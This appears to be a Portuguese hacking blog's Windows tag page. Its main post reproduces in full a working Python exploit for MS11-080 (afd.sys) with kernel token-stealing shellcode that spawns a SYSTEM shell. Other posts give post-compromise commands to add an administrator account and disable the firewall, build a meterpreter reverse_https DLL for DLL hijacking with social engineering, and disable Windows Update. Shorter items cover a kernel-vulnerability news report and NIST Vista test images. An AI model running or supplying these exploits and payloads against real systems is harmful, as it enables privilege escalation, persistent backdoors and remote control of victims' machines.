banner468

Mostrando postagens com marcador Windows. Mostrar todas as postagens
Mostrando postagens com marcador Windows. Mostrar todas as postagens

sábado, 10 de dezembro de 2011

MS11-080 - Escalação de privilegio no Windows


Esse exploit (MS11-080 – CVE-2011-2005 Afd.sys Privilege Escalation Exploit) explora o fato de que o afd.sys não valida corretamente o user-mod de entrada passando para o kernel-mod.

Uso:
Usage: MS11-080.py -O TARGET_OS

Options:
  -h, --help            show this help message and exit
  -O TARGET_OS, --target-os=TARGET_OS
                        Target OS. Accepted values: XP, 2K3

Exploit escrito em python: http://packetstormsecurity.org/files/107402/ms11-080.txt

################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
#########         Author: ryujin@offsec.com - Matteo Memelli            ########
#########                      Spaghetti & Pwnsauce                     ########
#########              yuck! 0xbaadf00d Elwood@mac&cheese.com           ########
#########                                                               ########
#########      Thx to dookie(lifesaver)2000ca, dijital1 and ronin       ########
#########                        for helping out!                       ########
#########                                                               ########
#########                   To my Master Shifu muts:                    ########
#########           "So that's it, I just need inner peace?" ;)         ########
#########                                                               ########
#########        Exploit tested on the following 32bits systems:        ########
#########       Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng       ########
################################################################################
 
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
                    c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
                    c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
 
usage =  "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
                  action="store", dest="target_os",
                  help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
   parser.print_help()
   sys.exit()
OS = OS.upper()
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE
    lpImageBase           = myarray()
    cb                    = c_int(1024)
    lpcbNeeded            = c_long()
    drivername_size       = c_long()
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
    for baseaddy in lpImageBase:
        drivername = c_char_p("\x00"*drivername_size.value)
        if baseaddy:
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy)
                    return (baseaddy, drivername.value)
    return None
 
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]
 
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise
 
baseadd    = c_int(0x1001)
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
              "\x00\x00\x00\x00\x44\x44\x44\x44"
              "\x01\x00\x00\x00"
              "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                     byref(baseadd),
                                     0x0,
                                     byref(RegionSize),
                                     MEMRES,
                                     PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver     = c_char_p()
lpPath       = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
    HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
    HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
    HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
    HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
 
################################# EXPLOITATION #################################
shellcode_address_dep   = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr      = 0x00020900
if OS == "XP":
    _KPROCESS = "\x44"
    _TOKEN    = "\xc8"
    _UPID     = "\x84"
    _APLINKS  = "\x88"
else:
    _KPROCESS = "\x38"
    _TOKEN    = "\xd8"
    _UPID     = "\x94"
    _APLINKS  = "\x98"
     
restore_ptrs =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"
restore_token =  "\x52"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\x15\x00\x09\x02\x00"             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5a"                                 +\
                 "\xc2\x10"
                  
shellcode         = padding + restore_ptrs + tokenstealing
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger shellcode
inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
 
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode         = padding + restore_ptrs + restore_token
shellcode_size    = len(shellcode)
trail_padding     = (orig_size - shellcode_size) * "\x00"
shellcode        += trail_padding
shellcode_size   += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

------------XXX------------

Caso não tenho o python instalado, pode usar uma versão portátil:

Ref:

Lista de comandos pós invasão


Lista de comandos a serem executados quando tiverem acesso a uma shell do sistema Linux ou Windows, vai ajudar tanto a iniciantes ha profissionais de penetrations test.

Linux/Unix/BSD Post Exploitation

Windows Post Exploitation

OSX Post Exploitation

Espelho: 
Linux: http://www.4shared.com/file/JRYFK_dQ/LinuxUnixBSDPost-ExploitationC.html
Windows: http://www.4shared.com/file/8zXCnptK/WindowsPost-Exploitation.html
OSX: http://www.4shared.com/file/eQW4_o6G/OSXPost-Exploitation.html
Room362

sexta-feira, 1 de julho de 2011

Sem privilegio no Windows? o que fazer?



Em algumas fases de pentest ou no seu cotidiano, você vai deparar com um Windows e suas inúmeras vulnerabilidades... caso esteja usando o grande metasploit, você ainda encontra alguns scripts meterpreter que ja quebram o galho, mas não em todas as vezes... e no caso que você esteja usando um exploit monolítico? você digita "whoami" e ver que não tem acesso "root/administrador" do sistema... ta com o cmd.exe na tela e de braços cruzado!!! não entre em desespero... vou mostrar a solução.

Usando alguns comando nativos do Windows, pode reverter esse caso fácil.

Adicionando um usuário no sistema:

net user bhior fabiano1337 /add

Criar grupos e/ou atribuir/remover usuários de grupos específicos:

net localgroup

Adicionado um usuário como administrador ou qualquer outro grupo descrito com o comando acima.

net localgroup Administrador bhior /add

Modifica a requisitos de senha e logon para todas contas:

net accounts

Exibindo informações de configuração do serviço Estação de Trabalho ou Servidor:

net config [server | workstation]

Visualizando computadores on line na rede com compartilhamento:


net view

Visualizando os diretórios compartilhados no seu micro:

net share

Visualizando as maquinas que estão acessando os diretórios compartilhados:

net use

Exibindo os logs das estação de trabalho ou servidor:

net statistics [server | workstation]

Ajuda com o comando?

net help

Caso o firewall esteja impedindo algum outro processo que você esteja querendo fazer:

netsh firewall set opmode disable

Xeque mate!!!

domingo, 22 de maio de 2011

Exploration of Windows 7 Advanced Forensic Topics


Baixem os anexo:


































domingo, 28 de novembro de 2010

Dll Hijacking em Windows 7


Nessa aula vou mostrar a técnica de dll hijacker, ela consiste em colocar ou substituir uma dll padrão do sistema operacional por uma dll maliciosa. Uma vez que a dll maliciosa tenho sido modificada, e necessário que ela esteja na mesma pasta do arquivo vulnerável ou substituída o arquivo original na maquina alvo, essa falha e antiga e já vem sendo discutida a mais de 10 anos. Não vou alongar muito o texto, caso queiram saber mais informações, leia as referencias abaixo.
Nesse link você vão pode encontrar uma lista de DLL´s vulneráveis e seus respectivos programas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Na vídeo aula, crio uma dll maliciosa e um aquivo de vídeo  falso. Fiz de forma simples, não deixei a dll oculta para o melhor entendimento da vídeo, mas para esse ataque se bem sucedido deve envolver um pouco de engenharia social.

Comandos:
msfpayload windows/meterpreter/reverse_https LHOST=IP LPORT=443 D > /Diretório para ser salvo o arquivo/ehtrace.dll
touch Video.flv
use multi/handler
set lhost IP
set lport 443
set payload windows/meterpreter/reverse_https
exploit


Sobre a aula:
Tamanho: 69 Mb
Formato: AVI
Duração: 4:29
Musica: Hip-Hop – Hot shif once again
Baixar: http://www.4shared.com/file/yqv2OQRJ/Dll-hijacker_Windows_7_.html
On line: http://vimeo.com/17250307





REF:
http://en.wikipedia.org/wiki/DLL_Hijacking
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/
http://en.wikipedia.org/wiki/Dynamic-link_library
http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html
http://www.rec-sec.com/2009/05/12/dll-hijacking-vulnerability/
http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=228200659

domingo, 15 de agosto de 2010

Vulnerabilidade em nível de kernel afeta todas as versões do Windows

Pesquisadores descobriram uma vulnerabilidade de nível kernel no Windows. Todas as versões suportadas do Windows foram afetadas, do XP SP3 ao 7 e também o 2003 e 2008 Server. A técnica, divulgada originalmente neste blog, permite que atacantes ganhem privilégios escalados e pode permitir a execução de código remoto. Ainda não há registros de sua utilização por crackers.

Ref: http://www.theregister.co.uk/2010/08/06/unpatched_windows_kernel_vuln/

domingo, 23 de maio de 2010

Desabilitando a atualização do Windows

Mini tuto de como cancelar a atualização automática do Windows XP.

Primeiro passo: Clique em "iniciar" > Executar... > "CMD"

Segundo passo: Vamos parar o serviço de atualização, no prompt de comando digita a seguinte sintaxe:

Citação:
net stop wuauserv



Terceiro passo
: Após ter parado o serviço automático das atualizações de Windows vamos entrar no diretório do Windows usando a sintaxe abaixo:

Citação:
cd /d %windir%



Quarto passo: Agora vamos remover no a atualização automática do Windows que fica escondida nesse diretório.

Citação:
rd /s SoftwareDistribution



Mas se por alguma ventura você se arrependeu do feito... e que iniciar o serviço novamente, e só digitar a seguinte sintaxe:

Citação:
net start wuauserv


Ate a próxima.

Imagem do Windows Vista para Pen-Test

Imagem do Vista para teste de segurança de maneira profissional e legal perante a lei.

Quais são os PCs Virtual (VPC), e qual é a diferença entre uma VPC e Virtual Hard Disk (VHD)?
Virtual PC (VPC) é um produto Microsoft que permite aos usuários executar uma instância virtual de um sistema operativo (aka Virtual Hard Disk) já está em execução dentro de uma instância de um sistema operacional (SO aka não-virtual). O Virtual Hard Disk (VHD) pode utilizar o hardware do computador (por exemplo, disco rígido, placa Ethernet, portas USB) da mesma forma que o SO não é virtual. A partir do OS não-virtual, o VHD aparece como um arquivo único e grande *. VHD.

Qual beneficio VHDs
VHDs são muito úteis tanto para laboratório e testes de implantação. Embora o software pode ser instalado em um VHD no software mesma forma é instalado em sistemas operacionais normais, VHDs podem ser descartadas e re-implementado muito rapidamente para o fim de assegurar um ambiente de teste pristine ou se algo funcionou mal com o VHD anterior. Além disso, VHDs múltiplos podem ser executados ao longo de uma única plataforma física para conseguir economias de custo.

Baixar:
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.zip
Final [zip, ~73MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z01
Final [zip, ~648MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z02
Final [zip, ~648MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z03
Final [zip, ~648MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z04
Final [zip, ~648MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z05
Final [zip, ~648MB]
wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/VISTA-Q4-2009/Vista_NIST_FDCC_Q4_2009.z06
Final [zip, ~648MB]
Imagem autorizadas para profissionais na área de segurança fazerem teste de laboratórios.

Abraços

 

Subscribe to our Newsletter

Contact our Support

Email us: youremail@gmail.com

Our Team Memebers